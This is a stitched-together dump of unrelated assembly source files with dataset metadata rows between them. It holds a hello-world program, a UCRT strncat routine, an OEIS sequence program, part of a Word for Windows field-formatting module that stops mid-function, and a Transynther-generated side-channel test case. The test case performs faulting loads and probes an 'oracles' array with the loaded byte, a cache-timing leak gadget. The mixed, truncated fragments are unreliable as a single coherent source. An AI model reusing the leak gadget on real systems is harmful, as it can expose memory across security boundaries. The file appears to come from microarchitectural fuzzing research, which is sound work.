; Ident descProceso
; Ident descThread
; Ident descFichero
; Ident descRecurso
; Ident c2cPFR
; Ident e2PFR
; Ident descCcbAlEpilogo
; Ident ccbAlEpilogo
; Ident tramaThread
; Ident tramaTarea
; Ident indThreadActual
; Ident indProcesoActual
; Ident indThreadDeSuperficie
; Ident contRodajas
; Ident contTicsRodaja
; Ident contadorTimer00
; Ident contOcioso
; Ident nuevoPid
; Ident nuevoTid
; Ident indice
; Ident registrarEnPOrdenados
; Ident crearThread
; Ident funcion
; Ident crearProceso
; Ident tamFich
; Ident inicProcesos
; Ident resetPids
; Ident resetTids
; Ident terminarThreadIndx
; Ident eliminarThreadIndx
; Ident terminarProcIndx
; Ident eliminarProcIndx
; Ident matarThreadIndx
; Ident matarProcIndx
; Ident link_procs
; Ident startBin
; Ident unidadBIOS
; Ident CS_SO1H
; Ident RO_SO1H
; Ident DS_SO1H
; Ident BSS_SO1H
; Ident SS_SO1H
; Ident SS_Kernel
; Ident IMRInicial
; Ident obtenerMapa
; Ident SS_Thread
; Ident SP_Thread
; Ident SS_Tarea
; Ident SP_Tarea
; Ident nivelActivacionSO1H
; Ident nVIntActual
; Ident enHalt
; Ident activarAlEpilogo1
; Ident hayTic
; Ident setKernelStack
; Ident setThreadStack
; Ident reg_DL
; Ident prepararDesbloqueadosUrgentes
; Ident opciones
; Ident thread_attribs_t
; Ident thread_create
; Ident attribs
; Ident funcionInicial
; Ident thread_join
; Ident res
; Ident thread_exit
; Ident thread_yield
; Ident thread_self
; Ident doKill
; Ident kk_fork
; Ident preEjecutar
; Ident bloquearEsperandoHijo
; Ident so1_manejador_01
; Bytes used: 4672/16384
; Next label number: 287
; Compilation succeeded.
| 18.746195 | 315 | 0.652033 |
197d91467b30ff7d2c760c95d501621514fcb02a | 3,281 | asm | Assembly | src/01-hello-world.asm | enix403/nasm-playground | 78ba9991a732d328a52913c1ae55df1a27fd67b1 | [
"MIT"
] | null | null | null | src/01-hello-world.asm | enix403/nasm-playground | 78ba9991a732d328a52913c1ae55df1a27fd67b1 | [
"MIT"
] | null | null | null | src/01-hello-world.asm | enix403/nasm-playground | 78ba9991a732d328a52913c1ae55df1a27fd67b1 | [
"MIT"
] | null | null | null | section .text ; Executable code goes in the .text section
global _start ; The linker looks for this symbol to set the process entry point, so execution start here
;;;a name followed by a colon defines a symbol. The global _start directive modifies it so it's a global symbol, not just one that we can CALL or JMP to from inside the asm.
;;; note that _start isn't really a "function". You can't return from it, and the kernel passes argc, argv, and env differently than main() would expect.
_start:
;;; write(1, msg, len);
; Start by moving the arguments into registers, where the kernel will look for them
mov edx, len ; 3rd arg goes in edx: buffer length
mov ecx, msg ; 2nd arg goes in ecx: pointer to the buffer
;Set output to stdout (goes to your terminal, or wherever you redirect or pipe)
mov ebx, 1 ; 1st arg goes in ebx: Unix file descriptor. 1 = stdout, which is normally connected to the terminal.
mov eax, 4 ; system call number (from SYS_write / __NR_write from unistd_32.h).
int 0x80 ; generate an interrupt, activating the kernel's system-call handling code. 64-bit code uses a different instruction, different registers, and different call numbers.
;; eax = return value, all other registers unchanged.
;;;Second, exit the process. There's nothing to return to, so we can't use a ret instruction (like we could if this was main() or any function with a caller)
;;; If we don't exit, execution continues into whatever bytes are next in the memory page,
;;; typically leading to a segmentation fault because the padding 00 00 decodes to add [eax],al.
;;; _exit(0);
xor ebx, ebx ; equivalent to `mov ebx, 0`
; first arg = exit status = 0. (will be truncated to 8 bits). Zeroing registers is a special case on x86, and mov ebx, 0 would be less efficient.
;; leaving out the zeroing of ebx would mean we exit(1), i.e. with an error status, since ebx still holds 1 from earlier.
mov eax, 1 ; put __NR_exit into eax
int 0x80 ;Execute the Linux function
section .rodata ; Section for read-only constants
;; msg is a label, and in this context doesn't need to be msg:. It could be on a separate line.
;; db = Data Bytes: assemble some literal bytes into the output file.
msg db 'Hello, world!', 0xa ; ASCII string constant plus a newline (ACSII Code for newline is 10 = 0x0a)
;; No terminating zero byte is needed, because we're using write(), which takes a buffer + length instead of an implicit-length string.
;; To make this a C string that we could pass to puts or strlen, we'd need a terminating 0 byte. (e.g. "...", 0x10, 0)
len equ $ - msg ; Define an assemble-time constant (not stored by itself in the output file, but will appear as an immediate operand in insns that use it)
; Calculate len = string length. subtract the address of the start
; of the string from the current position ($)
;; equivalently, we could have put a str_end: label after the string and done len equ str_end - str | 82.025 | 193 | 0.661689 |
46f8a863a1d1f8f8cd4274ff6ae07db94d116162 | 3,046 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_3_585.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_3_585.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_3_585.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %r9
push %rax
push %rbx
push %rdi
lea addresses_WT_ht+0x2d48, %rbx
mfence
mov (%rbx), %rdi
nop
and $49682, %r15
lea addresses_WT_ht+0x2458, %r9
nop
nop
nop
mfence
mov (%r9), %r8w
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0x17b08, %rdi
nop
nop
and %r8, %r8
movb $0x61, (%rdi)
nop
inc %rdi
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r9
push %rbx
push %rdx
// Store
lea addresses_RW+0x7d88, %r14
nop
nop
nop
sub $20445, %r15
movw $0x5152, (%r14)
nop
nop
and $48312, %r14
// Load
lea addresses_PSE+0x11ce0, %rdx
nop
nop
nop
nop
sub $58995, %r9
mov (%rdx), %rbx
nop
and $6722, %rbx
// Store
lea addresses_D+0x11ac8, %rdx
nop
nop
nop
xor $59535, %r11
mov $0x5152535455565758, %r9
movq %r9, (%rdx)
// Exception!!!
nop
nop
nop
mov (0), %r12
nop
nop
nop
nop
nop
add $32825, %rdx
// Store
lea addresses_RW+0xa9b8, %r12
and $20029, %rbx
movl $0x51525354, (%r12)
nop
nop
nop
nop
add %r12, %r12
// Store
lea addresses_PSE+0x105dc, %r11
nop
nop
and %r9, %r9
movl $0x51525354, (%r11)
// Exception!!!
nop
nop
mov (0), %rdx
nop
nop
add %r9, %r9
// Load
lea addresses_US+0xe008, %rdx
nop
nop
nop
xor %r15, %r15
vmovups (%rdx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r9
nop
nop
nop
nop
and %r9, %r9
// Faulty Load
lea addresses_WC+0x82c8, %rdx
nop
nop
nop
nop
sub $45991, %r14
movb (%rdx), %r12b
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rdx
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 3, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': True}}
{'00': 3}
00 00 00
*/
| 17.812865 | 124 | 0.632961 |
d3befea3f91e37f685f30f9bcb48c93f10a8ead5 | 858 | asm | Assembly | programs/oeis/230/A230128.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/230/A230128.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/230/A230128.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A230128: The number of multinomial coefficients over partitions with value equal to 4.
; 0,0,0,0,1,1,2,1,2,3,3,2,4,4,4,4,5,5,6,5,6,7,7,6,8,8,8,8,9,9,10,9,10,11,11,10,12,12,12,12,13,13,14,13,14,15,15,14,16,16,16,16,17,17,18,17,18,19,19,18,20,20,20,20,21,21,22,21,22,23,23,22,24,24,24,24,25,25,26,25,26,27,27,26,28,28,28,28,29,29,30,29,30,31,31,30,32,32,32,32,33,33,34,33,34,35,35,34,36,36,36,36,37,37,38,37,38,39,39,38,40,40,40,40,41,41,42,41,42,43,43,42,44,44,44,44,45,45,46,45,46,47,47,46,48,48,48,48,49,49,50,49,50,51,51,50,52,52,52,52,53,53,54,53,54,55,55,54,56,56,56,56,57,57,58,57,58,59,59,58,60,60,60,60,61,61,62,61,62,63,63,62,64,64,64,64,65,65,66,65,66,67,67,66,68,68,68,68,69,69,70,69,70,71,71,70,72,72,72,72,73,73,74,73,74,75,75,74,76,76,76,76,77,77,78,77,78,79,79,78,80,80,80,80,81,81,82,81,82,83
mov $1,$0
mod $0,4
trn $0,2
div $1,3
sub $1,$0
| 95.333333 | 720 | 0.659674 |
f2a60f5355d140196109f6c92303f608eab11e81 | 5,078 | asm | Assembly | Source/10.0.18362.0/ucrt/string/amd64/strncat.asm | 825126369/UCRT | 8853304fdc2a5c216658d08b6dbbe716aa2a7b1f | [
"MIT"
] | 2 | 2021-01-27T10:19:30.000Z | 2021-02-09T06:24:30.000Z | Source/10.0.18362.0/ucrt/string/amd64/strncat.asm | 825126369/UCRT | 8853304fdc2a5c216658d08b6dbbe716aa2a7b1f | [
"MIT"
] | null | null | null | Source/10.0.18362.0/ucrt/string/amd64/strncat.asm | 825126369/UCRT | 8853304fdc2a5c216658d08b6dbbe716aa2a7b1f | [
"MIT"
] | 1 | 2021-01-27T10:19:36.000Z | 2021-01-27T10:19:36.000Z | page ,132
title strncat - append n chars of string1 to string2
;***
;strncat.asm - append n chars of string to new string
;
; Copyright (c) Microsoft Corporation. All rights reserved.
;
;Purpose:
; defines strncat() - appends n characters of string onto
; end of other string
;
;*******************************************************************************
include ksamd64.inc
subttl "strncat"
;***
;char *strncat(front, back, count) - append count chars of back onto front
;
;Purpose:
; Appends at most count characters of the string back onto the
; end of front, and ALWAYS terminates with a null character.
; If count is greater than the length of back, the length of back
; is used instead. (Unlike strncpy, this routine does not pad out
; to count characters).
;
; Algorithm:
; char *
; strncat (front, back, count)
; char *front, *back;
; unsigned count;
; {
; char *start = front;
;
; while (*front++)
; ;
; front--;
; while (count--)
; if (!(*front++ = *back++))
; return(start);
; *front = '\0';
; return(start);
; }
;
;Entry:
; char * front - string to append onto
; char * back - string to append
; unsigned count - count of max characters to append
;
;Exit:
; returns a pointer to string appended onto (front).
;
;Uses: ECX, EDX
;
;Exceptions:
;
;*******************************************************************************
LEAF_ENTRY_ARG3 strncat, _TEXT, front:ptr byte, back:ptr byte, count:dword
OPTION PROLOGUE:NONE, EPILOGUE:NONE
mov r11, rcx
or r8, r8
jz byte_exit
test cl, 7
jz strncat_loop_begin
strncat_copy_head_loop_begin:
mov al, [rcx]
test al, al
jz strncat_copy
inc rcx
test cl, 7
jnz strncat_copy_head_loop_begin
nop
strncat_loop_begin:
mov rax, [rcx]
mov r10, rax
mov r9, 7efefefefefefeffh
add r9, r10
xor r10, -1
xor r10, r9
add rcx, 8
mov r9, 8101010101010100h
test r10, r9
je strncat_loop_begin
sub rcx, 8
strncat_loop_end:
test al, al
jz strncat_copy
inc rcx
test ah, ah
jz strncat_copy
inc rcx
shr rax, 16
test al, al
jz strncat_copy
inc rcx
test ah, ah
jz strncat_copy
inc rcx
shr rax, 16
test al, al
jz strncat_copy
inc rcx
test ah, ah
jz strncat_copy
inc rcx
shr eax, 16
test al, al
jz strncat_copy
inc rcx
test ah, ah
jz strncat_copy
inc rcx
jmp strncat_loop_begin
strncat_copy:
; align the SOURCE so we never page fault
; dest pointer alignment not important
sub rcx, rdx ; combine pointers
test dl, 7
jz qword_loop_entrance
copy_head_loop_begin:
mov al, [rdx]
mov [rdx+rcx], al
test al, al
jz byte_exit
inc rdx
dec r8
jz byte_null_end
test dl, 7
jnz copy_head_loop_begin
jmp qword_loop_entrance
byte_null_end:
xor al, al
mov [rdx+rcx], al
byte_exit:
mov rax, r11
ret
nop
qword_loop_begin:
mov [rdx+rcx], rax
add rdx, 8
qword_loop_entrance:
mov rax, [rdx]
sub r8, 8
jbe qword_loop_end
mov r9, 7efefefefefefeffh
add r9, rax
mov r10, rax
xor r10, -1
xor r10, r9
mov r9, 8101010101010100h
test r10, r9
jz qword_loop_begin
qword_loop_end:
add r8, 8
jz strncat_exit_2
test al, al
mov [rdx+rcx], al
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
test ah, ah
mov [rdx+rcx], ah
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
shr rax, 16
test al, al
mov [rdx+rcx], al
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
test ah, ah
mov [rdx+rcx], ah
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
shr rax, 16
test al, al
mov [rdx+rcx], al
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
test ah, ah
mov [rdx+rcx], ah
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
shr eax, 16
test al, al
mov [rdx+rcx], al
jz strncat_exit
inc rdx
dec r8
jz strncat_exit_2
test ah, ah
mov [rdx+rcx], ah
jz strncat_exit
inc rdx
dec r8
jnz qword_loop_entrance
strncat_exit_2:
xor al, al
mov [rdx+rcx], al
strncat_exit:
mov rax, r11
ret
LEAF_END strncat, _TEXT
end
| 22.27193 | 80 | 0.515951 |
da5c76cec67481adae5191fd51f382817ffce232 | 30,649 | asm | Assembly | Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/fieldfmn.asm | lborgav/Historical-Source-Codes | c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5 | [
"MIT"
] | 7 | 2017-01-12T17:48:48.000Z | 2021-11-28T04:37:34.000Z | Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/fieldfmn.asm | lborgav/Historical-Source-Codes | c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5 | [
"MIT"
] | null | null | null | Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/fieldfmn.asm | lborgav/Historical-Source-Codes | c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5 | [
"MIT"
] | 5 | 2017-03-28T08:04:30.000Z | 2020-03-25T14:25:29.000Z | include w2.inc
include noxport.inc
include consts.inc
include structs.inc
createSeg fieldfmt_PCODE,fieldfmt,byte,public,CODE
; DEBUGGING DECLARATIONS
ifdef DEBUG
midFieldfmn equ 4 ; module ID, for native asserts
endif ;DEBUG
; EXPORTED LABELS
; EXTERNAL FUNCTIONS
externFP <ReloadSb>
externFP <CpPlc>
externFP <PutPlc>
externFP <CpMacDoc>
externFP <FltParseDocCp>
externFP <EfltFromFlt>
externFP <FfcFormatDisplay>
externFP <IInPlcCheck>
externFP <GetPlc>
externFP <IMacPlc>
externFP <N_IfldFromDocCp>
externFP <N_QcpQfooPlcfoo>
ifdef DEBUG
externFP <AssertProcForNative,ScribbleProc>
externFP <FCheckHandle>
externFP <S_DcpSkipFieldChPflcd>
externFP <S_FShowResultPflcdFvc>
externFP <S_IfldFromDocCp>
externFP <S_FillIfldFlcd>
endif ;DEBUG
ifdef DFORMULA
externFP <CommSzRgNum>
endif ;DFORMULA
; EXTERNAL DATA
sBegin data
externW mpsbps ;extern SB mpsbps[];
externW wwCur ;extern int wwCur;
externW mpdochdod ;extern struct DOD **mpdochdod[];
externW mpwwhwwd ;extern struct WWD **mpwwhwwd[];
ifdef DEBUG
externW vdbs
externW vfCheckPlc
externW vfSeeAllFieldCps
externW wFillBlock
externW vsccAbove
externW vpdrfHead
endif ;DEBUG
sEnd data
; CODE SEGMENT fieldfmt_PCODE
sBegin fieldfmt
assumes cs,fieldfmt
assumes ds,dgroup
assume es:nothing
assume ss:nothing
include asserth.asm
;/* F O R M A T F U N C T I O N S */
;-------------------------------------------------------------------------
; FfcFormatFieldPdcp (pdcp, ww, doc, cp, ch)
;-------------------------------------------------------------------------
;/* F F C F O R M A T F I E L D P D C P */
;/* This function is called from FormatLine() to format a field.
; Returns:
; ffcSkip (skip *pdcp characters, no other processing)
; ffcShow (keep formatting normally, *pdcp == 0)
; ffcDisplay (create CHRDF, then skip *pdcp chars)
; ffcBeginGroup (create CHRFG, skip *pdcp chars)
; ffcEndGroup (terminate CHRFG, skip *pdcp chars)
;*/
;
;native FfcFormatFieldPdcp (pdcp, ww, doc, cp, ch)
;CP *pdcp;
;int ww, doc;
;CP cp;
;CHAR ch;
;
;{
;
;
; int flt;
; int ifld;
; BOOL ffcReturn = ffcSkip;
; BOOL fResult;
; struct PLC **hplcfld = PdodDoc (doc)->hplcfld;
; struct FLCD flcd;
; %%Function:N_FfcFormatFieldPdcp %%Owner:BRADV
cProc N_FfcFormatFieldPdcp,<PUBLIC,FAR>,<si,di>
ParmW pdcp
ParmW ww
ParmW doc
ParmD cp
ParmW chArg
LocalV flcd,cbFlcdMin
ifdef DFORMULA
LocalV rgw,10
LocalV szFrame,80
endif ;/* DFORMULA */
; flt kept in si
; ffcReturn kept in ax
; ifld kept in di
cBegin
; Assert (ch & 0xFF00 == 0);
ifdef DEBUG
push ax
push bx
push cx
push dx
test chArg,0FF00h
je FFFP005
mov ax,midFieldfmn
mov bx,1004
cCall AssertProcForNative,<ax,bx>
FFFP005:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; Assert (doc != docNil && cp < CpMacDoc (doc) && cp >= cp0);
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp doc,docNil
je FFFP01
cCall CpMacDoc,<doc>
mov bx,[OFF_cp]
mov cx,[SEG_cp]
sub bx,ax
sbb cx,dx
jge FFFP01
cmp [SEG_cp],0
jge FFFP02
FFFP01:
mov ax,midFieldfmn
mov bx,1005
cCall AssertProcForNative,<ax,bx>
FFFP02:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
;#ifdef DEBUG
; if (vfSeeAllFieldCps)
ifdef DEBUG
cmp [vfSeeAllFieldCps],fFalse
je FFFP03
; {
; *pdcp = 0;
xor ax,ax
mov bx,[pdcp]
mov [bx],ax
mov [bx+2],ax
; return ffcShow;
mov ax,ffcShow
jmp FFFP23
; }
;#endif /* DEBUG */
FFFP03:
endif ;/* DEBUG */
; Scribble (ispFieldFormat1, 'F');
ifdef DEBUG
cmp vdbs.grpfScribbleDbs,0
je FFFP04
push ax
push bx
push cx
push dx
mov ax,ispFieldFormat1
mov bx,'F'
cCall ScribbleProc,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FFFP04:
endif ;/* DEBUG */
; if ((ifld = IfldFromDocCp (doc, cp, fTrue)) != ifldNil)
; FillIfldFlcd (PdodDoc(doc)->hplcfld, ifld, &flcd);
mov ax,fTrue
push [doc]
push [SEG_cp]
push [OFF_cp]
push ax
ifdef DEBUG
cCall S_IfldFromDocCp,<>
else ;not DEBUG
cCall N_IfldFromDocCp,<>
endif ;DEBUG
cmp ax,ifldNil
xchg ax,di
je FFFP06
mov bx,[doc]
;Takes doc in bx, result in bx. Only bx is altered.
call LN_PdodDoc
push [bx.hplcfldDod]
lea bx,[flcd]
push di
push bx
ifdef DEBUG
cCall S_FillIfldFlcd,<>
else ;not DEBUG
push cs
call near ptr N_FillIfldFlcd
endif ;DEBUG
mov ax,flcd.LO_dcpInstFlcd
mov dx,flcd.HI_dcpInstFlcd
FFFP06:
; flt = flcd.flt;
mov si,[flcd.fltFlcd]
; if ((ifld == ifldNil || flcd.fDirty) && (ch == chFieldBegin))
cmp di,ifldNil
je FFFP07
cmp [flcd.fDirtyFlcd],fFalse
je FFFP09
FFFP07:
cmp bptr ([chArg]),chFieldBegin
jne FFFP09
; /* field is dead or must be parsed, try to parse it */
; {
; flt = FltParseDocCp (doc, cp, ifld, ww==wwCur /* fChgView */, fFalse /* fEnglish */);
xor ax,ax
cwd
mov cx,[ww]
cmp cx,[wwCur]
jne FFFP08
inc ax
FFFP08:
cCall FltParseDocCp,<[doc], [SEG_cp], [OFF_cp], di, ax, dx>
xchg ax,si
; if ((ifld = IfldFromDocCp (doc, cp, fTrue)) != ifldNil)
mov ax,fTrue
push doc
push [SEG_cp]
push [OFF_cp]
push ax
ifdef DEBUG
cCall S_IfldFromDocCp,<>
else ;not DEBUG
cCall N_IfldFromDocCp,<>
endif ;DEBUG
cmp ax,ifldNil
xchg ax,di
je FFFP09
; /* Note: FltParseDocCp may initialize hplcfld, so we need
; to do another PdodDoc(doc) here */
; FillIfldFlcd (PdodDoc(doc)->hplcfld, ifld, &flcd);
mov bx,[doc]
;Takes doc in bx, result in bx. Only bx is altered.
call LN_PdodDoc
push [bx.hplcfldDod]
lea bx,[flcd]
push di
push bx
ifdef DEBUG
cCall S_FillIfldFlcd,<>
else ;not DEBUG
push cs
call near ptr N_FillIfldFlcd
endif ;DEBUG
; }
FFFP09:
; if (ifld == ifldNil)
cmp di,ifldNil
jne FFFP12
; { /* dead field */
; /* handles the case where the parse call caused the field to be
; vanished. */
; ffcReturn = ffcShow;
; *pdcp = cp0;
xor ax,ax
mov bx,pdcp
mov [bx],ax
mov [bx+2],ax
mov ax,ffcShow
; goto LReturn;
jmp LReturn;
; }
; Assert (ifld != ifldNil && flcd.flt >= fltMin && flcd.flt < fltMax);
FFFP12:
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp di,ifldNil
je FFFP13
cmp flcd.fltFlcd,fltMin
jl FFFP13
cmp flcd.fltFlcd,fltMax
jl FFFP14
FFFP13:
mov ax,midFieldfmn
mov bx,1006
cCall AssertProcForNative,<ax,bx>
FFFP14:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; fResult = FShowResultPflcdFvc (&flcd, ww /*fvcScreen*/);
lea ax,flcd
push ax
push ww
ifdef DEBUG
cCall S_FShowResultPflcdFvc,<>
else ;not DEBUG
push cs
call near ptr N_FShowResultPflcdFvc
endif ;DEBUG
; *pdcp = DcpSkipFieldChPflcd (ch, &flcd, fResult, fFalse/*fFetch*/);
push ax ;save fResult
lea cx,flcd
errnz <fFalse>
xor bx,bx
push chArg
push cx
push ax
push bx
ifdef DEBUG
cCall S_DcpSkipFieldChPflcd,<>
else ;DEBUG
push cs
call near ptr N_DcpSkipFieldChPflcd
endif ;DEBUG
pop cx ;recover fResult
mov bx,pdcp
mov [bx],ax
mov [bx+2],dx
; if (fResult && dnflt [flt].fDisplay)
errnz <fFalse>
jcxz FFFP15
cCall EfltFromFlt,<si>
errnz <(fDisplayEflt) - 0>
test al,maskfDisplayEflt
je FFFP15
; {
; /* display type fields may have a CHRDF/CHRFG to build */
; ffcReturn = FfcFormatDisplay (ch, doc, &flcd, pdcp);
lea ax,flcd
cCall FfcFormatDisplay,<chArg, doc, ax, pdcp>
jmp short FFFP16
FFFP15:
; }
; else if (*pdcp == 0)
; the next line is from the initialization
; of ffcReturn in the procedure heading.
; BOOL ffcReturn = ffcSkip;
errnz <ffcSkip>
xor ax,ax
mov bx,pdcp
mov cx,[bx+2]
or cx,[bx]
jne FFFP16
; ffcReturn = ffcShow;
mov ax,ffcShow
FFFP16:
LReturn:
; Assert (!(ffcReturn == ffcShow ^ *pdcp == 0));
ifdef DEBUG
push ax
push bx
push cx
push dx
xor dx,dx
cmp ax,ffcShow
jne FFFP17
inc dx
FFFP17:
xor cx,cx
mov bx,[pdcp]
mov ax,[bx+2]
or ax,[bx]
jne FFFP18
inc cx
FFFP18:
xor cx,dx
je FFFP19
mov ax,midFieldfmn
mov bx,1007
cCall AssertProcForNative,<ax,bx>
FFFP19:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; Scribble (ispFieldFormat1, ' ');
ifdef DEBUG
cmp vdbs.grpfScribbleDbs,0
je FFFP20
push ax
push bx
push cx
push dx
mov ax,ispFieldFormat1
mov bx,' '
cCall ScribbleProc,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FFFP20:
endif ;/* DEBUG */
;#ifdef DFORMULA
; {
; int rgw[6];
; rgw[0]=ifld;
ifdef DFORMULA
push ax
push bx
push cx
push dx
push si
push di
mov word ptr [(rgw)+00000h],di
; rgw[1]=flt;
mov word ptr [(rgw)+00002h],si
; rgw[2]=ch;
mov cx,chArg
mov word ptr [(rgw)+00004h],cx
; rgw[3]=ffcReturn;
mov word ptr [(rgw)+00006h],ax
; bltb (pdcp, &rgw[4], sizeof(CP));
mov bx,pdcp
mov ax,[bx]
mov word ptr [(rgw)+00008h],ax
mov ax,[bx+2]
mov word ptr [(rgw)+0000Ah],ax
; CommSzRgNum (SzShared("FormatField (ifld,flt,ch,ffc,dcp): "), rgw, 6);
FFFP21:
db 'FormatField (ifld,flt,ch,ffc,dcp): '
db 0
FFFP22:
push ds
push cs
pop ds
mov si,FFFP21
push ss
pop es
mov di,szFrame
mov cx,(FFFP22) - (FFFP21)
rep movsb
pop ds
lea ax,szFrame
lea bx,rgw
mov cx,6
cCall CommSzRgNum,<ax, bx, cx>
pop di
pop si
pop dx
pop cx
pop bx
pop ax
; }
;#endif /* DFORMULA */
endif ;/* DFORMULA */
; return ffcReturn;
FFFP23:
;}
cEnd
; End of FfcFormatFieldPdcp
;-------------------------------------------------------------------------
; DcpSkipFieldChPflcd (ch, pflcd, fShowResult, fFetch)
;-------------------------------------------------------------------------
;/* D C P S K I P F I E L D C H P F L C D */
;/* Return the number of characters to skip to display field fld given
; ch in mode fShowResult. fFetch is true for fetch visible operations.
;*/
;
;native CP DcpSkipFieldChPflcd (ch, pflcd, fShowResult, fFetch)
;CHAR ch;
;struct FLCD *pflcd;
;BOOL fShowResult, fFetch;
;
;{
;
; int flt = pflcd->flt;
; %%Function:N_DcpSkipFieldChPflcd %%Owner:BRADV
cProc N_DcpSkipFieldChPflcd,<PUBLIC,FAR>,<si>
ParmW chArg
ParmW pflcd
ParmW fShowResult
ParmW fFetch
; flt kept in si
cBegin
mov bx,pflcd
mov si,[bx.fltFlcd]
; Assert (ch & 0xFF00 == 0 && fFetch >= 0);
ifdef DEBUG
push ax
push bx
push cx
push dx
test chArg,0FF00h
jne DSFCP01
cmp fFetch,fFalse
jge DSFCP02
DSFCP01:
mov ax,midFieldfmn
mov bx,1008
cCall AssertProcForNative,<ax,bx>
DSFCP02:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; switch (ch)
mov cl,bptr (chArg)
; {
; case chFieldBegin:
cmp cl,chFieldBegin
jne DSFCP03
; if (fShowResult)
; /* do the else clause first in assembler */
; else /* ! fShowResults */
; return cp0;
xor ax,ax
cwd
cmp fShowResult,fFalse
je DSFCP06
; if (dnflt [flt].fResult && !pflcd->fPrivateResult)
cCall EfltFromFlt,<si>
mov bx,pflcd
errnz <(fResultEflt) - 0>
test al,maskfResultEflt
; return pflcd->dcpInst;
mov ax,[bx.LO_dcpInstFlcd]
mov dx,[bx.HI_dcpInstFlcd]
je DSFCP10
test [bx.fPrivateResultFlcd],maskfPrivateResultFlcd
je DSFCP06
; else
; return pflcd->dcpInst + pflcd->dcpResult - fFetch;
DSFCP10:
add ax,[bx.LO_dcpResultFlcd]
adc dx,[bx.HI_dcpResultFlcd]
sub ax,fFetch
sbb dx,0
jmp short DSFCP06
DSFCP03:
; case chFieldSeparate:
cmp cl,chFieldSeparate
jne DSFCP05
; if (fShowResult)
cmp fShowResult,fFalse
je DSFCP04
; return (dnflt [flt].fResult && !pflcd->fPrivateResult ?
; (CP) 1 : pflcd->dcpResult);
cCall EfltFromFlt,<si>
mov bx,pflcd
errnz <(fResultEflt) - 0>
test al,maskfResultEflt
mov ax,00001h
cwd
je DSFCP04
test [bx.fPrivateResultFlcd],maskfPrivateResultFlcd
je DSFCP06
DSFCP04:
; else
; return pflcd->dcpResult;
mov ax,[bx.LO_dcpResultFlcd]
mov dx,[bx.HI_dcpResultFlcd]
jmp short DSFCP06
DSFCP05:
; case chFieldEnd:
